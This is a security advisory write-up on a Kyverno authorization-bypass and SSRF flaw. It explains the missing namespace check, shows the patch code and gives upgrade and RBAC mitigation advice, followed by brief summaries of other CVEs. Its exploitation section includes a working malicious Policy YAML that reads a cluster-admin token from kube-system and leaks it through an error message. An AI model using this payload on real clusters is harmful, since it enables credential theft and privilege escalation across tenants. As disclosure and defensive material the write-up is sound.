Jan 28, 2026·5 min read·192 visits
Kyverno allows policies to fetch data from the Kubernetes API. Due to missing validation, a user with limited permissions (e.g., confined to a single namespace) could write a policy that asks Kyverno to fetch secrets from the `kube-system` namespace. Since Kyverno runs with cluster-wide privileges, it happily obliges, handing over the keys to the kingdom.
A critical authorization bypass and Server-Side Request Forgery (SSRF) vulnerability in Kyverno's policy engine allows restricted users to leverage the engine's high-privileged ServiceAccount to access or modify resources across the entire Kubernetes cluster.
Kyverno is the self-proclaimed 'police force' of Kubernetes. It's a policy engine designed to validate, mutate, and generate resources. To do its job effectively, the Kyverno ServiceAccount is typically decked out with god-mode permissions—it needs to see everything to police everything.
One of Kyverno's coolest features is the apiCall context provider. It allows a policy to dynamically fetch data from the Kubernetes API server to make smarter decisions. Think of it as a policy saying, "Hey API server, before I let this Pod in, tell me if the ConfigMap it needs actually exists."
But here is the catch: When a user defines a policy in their local, restricted namespace, Kyverno executes that logic using its own high-privileged identity. If Kyverno doesn't carefully check what the user is asking for, it becomes a confused deputy—a powerful entity tricked into doing dirty work for a low-level goon.
The vulnerability lies in how Kyverno handled apiCall requests defined in namespaced Policy resources (as opposed to ClusterPolicy). The design intent is clear: a policy in the dev namespace should only be able to query resources in the dev namespace.
However, the code responsible for executing these calls failed to validate the urlPath provided by the user. It simply took the path string—variables and all—and fired off an HTTP request to the local API server.
Because Kyverno didn't enforce that the path must align with the policy's namespace, an attacker could supply a path like /api/v1/namespaces/kube-system/secrets. Kyverno, running as a cluster-admin equivalent, would look at the request, nod, and fetch the sensitive data. It’s like locking your front door but leaving the window wide open because you assume only your friends know how to use a ladder.
Let's look at the fix to understand the breakage. The vulnerability existed in pkg/engine/apicall/apiCall.go. Prior to the patch, the Fetch function was far too trusting. The fix introduces a strict regex check and path cleaning.
Here is the logic introduced in the patch:
// The new sheriff in town: Regex to enforce namespace isolation
var namespacePathRegex = regexp.MustCompile(`^/api(s)?/.*?/namespaces/([^/]+)/?.*$`)
// Inside the Fetch() method:
if a.policyNamespace != "" {
// 1. Sanitize the path to prevent directory traversal (e.g. /namespaces/ns/../)
cleanPath := path.Clean(call.APICall.URLPath)
// 2. Extract the namespace from the path
if matches := namespacePathRegex.FindStringSubmatch(cleanPath); len(matches) > 2 {
ns := matches[2]
// 3. The fatal blow to the exploit: Exact Match Requirement
if ns != a.policyNamespace {
return nil, fmt.Errorf("path %s refers to namespace %s, which is different from the policy namespace %s", cleanPath, ns, a.policyNamespace)
}
} else {
// Block cluster-scoped calls entirely for namespaced policies
return nil, fmt.Errorf("path %s does not contain a namespace segment...", cleanPath)
}
}The previous code lacked these three critical checks. It didn't clean the path (allowing ../ traversal), and it didn't compare the requested namespace against the policy's origin namespace.
Exploitation is trivial and requires no binary wizardry—just a bit of YAML. Imagine you are an attacker with access to the restricted-ns namespace. You want the cluster admin token.
Step 1: Draft the Malicious Policy
You create a standard Policy object. In the context variable, you point the apiCall at the forbidden fruit.
apiVersion: kyverno.io/v1
kind: Policy
metadata:
name: pilfer-secrets
namespace: restricted-ns
spec:
rules:
- name: exfiltrate
match:
any:
- resources:
kinds:
- Pod
context:
- name: admin_secret
apiCall:
# The money shot: targeting kube-system from restricted-ns
urlPath: "/api/v1/namespaces/kube-system/secrets/cluster-admin-token"
method: GET
validate:
message: "Nothing to see here... except {{ admin_secret.data.token }}"
deny: {}Step 2: Trigger the Trap
You create a dummy Pod in your restricted-ns. Kyverno intercepts the request.
Step 3: Profit
Kyverno executes the apiCall as itself. It reads the secret from kube-system. Depending on how you structured the policy, Kyverno either blocks the Pod and prints the secret in the error message (visible to you in the CLI) or logs it to the centralized logging system. Congratulations, you are now Cluster Admin.
This is a CVSS 10.0 for a reason. It completely negates the concept of multi-tenancy in a Kubernetes cluster protected by Kyverno.
If you use Kyverno to enforce security, you have ironically introduced a mechanism to bypass it. An attacker doesn't need to exploit the kernel or find a buffer overflow in the container runtime. They just need permission to create a Policy—a permission often granted to developers so they can manage their own application guardrails.
This flaw allows for:
apiCall supports mutation (PUT/POST/DELETE) and the Kyverno ServiceAccount allows it.The remediation is straightforward: Upgrade. The Kyverno team patched this in versions 1.15.3 and 1.16.3.
The patch forces apiCall paths in namespaced policies to be strictly contained within that namespace. It effectively sandboxes the apiCall logic.
If you cannot upgrade immediately, your only mitigation is to restrict RBAC permissions. Ensure that only trusted cluster administrators have the permission to create or update Policy resources. Regular developers should not be writing their own policies until the patch is applied.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Kyverno Kyverno | < 1.15.3 | 1.15.3 |
Kyverno Kyverno | >= 1.16.0, < 1.16.3 | 1.16.3 |
| Attribute | Detail |
|---|---|
| CVSS | 10.0 (Critical) |
| Attack Vector | Network (Kubernetes API) |
| CWE | CWE-269 & CWE-918 |
| Exploit Status | PoC Available |
| Component | apiCall Context Provider |
| Prerequisites | Permission to create Policy objects |
Improper Privilege Management & Server-Side Request Forgery (SSRF)
netfoil, an allowlist-based DNS proxy, failed to sanitize ALPN fields parsed from untrusted DNS-over-HTTPS (DoH) HTTPS Resource Records. This allowed attackers to inject ANSI escape sequences into log files or trigger Denial of Service (DoS) via uncontrolled memory allocations.
An issue was discovered in the tokio-postgres library for Rust prior to version 0.7.18. A trust assumption mismatch between the PostgreSQL protocol messages sent by a server and how they are parsed and indexed by the client-side library allows a rogue or compromised database server to trigger a Denial of Service (DoS) crash via an unhandled out-of-bounds slice indexing panic.
CVE-2026-14669 is a critical heap-based buffer overflow vulnerability in PostgreSQL's date/time formatting function to_char(timestamptz). The flaw arises from unsafe copying of user-controlled timezone abbreviations into a fixed-size internal buffer. An authenticated database user can trigger this issue by setting a long POSIX timezone abbreviation containing custom formatting, allowing them to overwrite adjacent heap structures and hijack execution control to achieve remote code execution (RCE) with the privileges of the 'postgres' operating system user.
An unauthenticated remote denial of service vulnerability exists in the Unleash feature management platform. By submitting a crafted JSON payload containing deeply nested structures to an OpenAPI-validated endpoint, an attacker can trigger uncontrolled recursion within the error formatting module. This leads to a call-stack exhaustion (RangeError: Maximum call stack size exceeded) inside the Node.js runtime, causing the service to crash immediately without recovery.
CVE-2026-63004 is a server-side request forgery (SSRF) vulnerability in the Unleash feature management platform. Authenticated administrators with CREATE_ADDON or UPDATE_ADDON privileges can exploit this vulnerability to initiate requests to loopback addresses, private networks, and cloud metadata endpoints, potentially leading to information disclosure and credential extraction.
Prior to version 8.0.3, Unleash's Markdown event formatter directly mutated the global template-escaping function of the shared mustache Node.js module, resulting in a process-wide security degradation where HTML/Markdown escaping was permanently disabled for the application lifetime.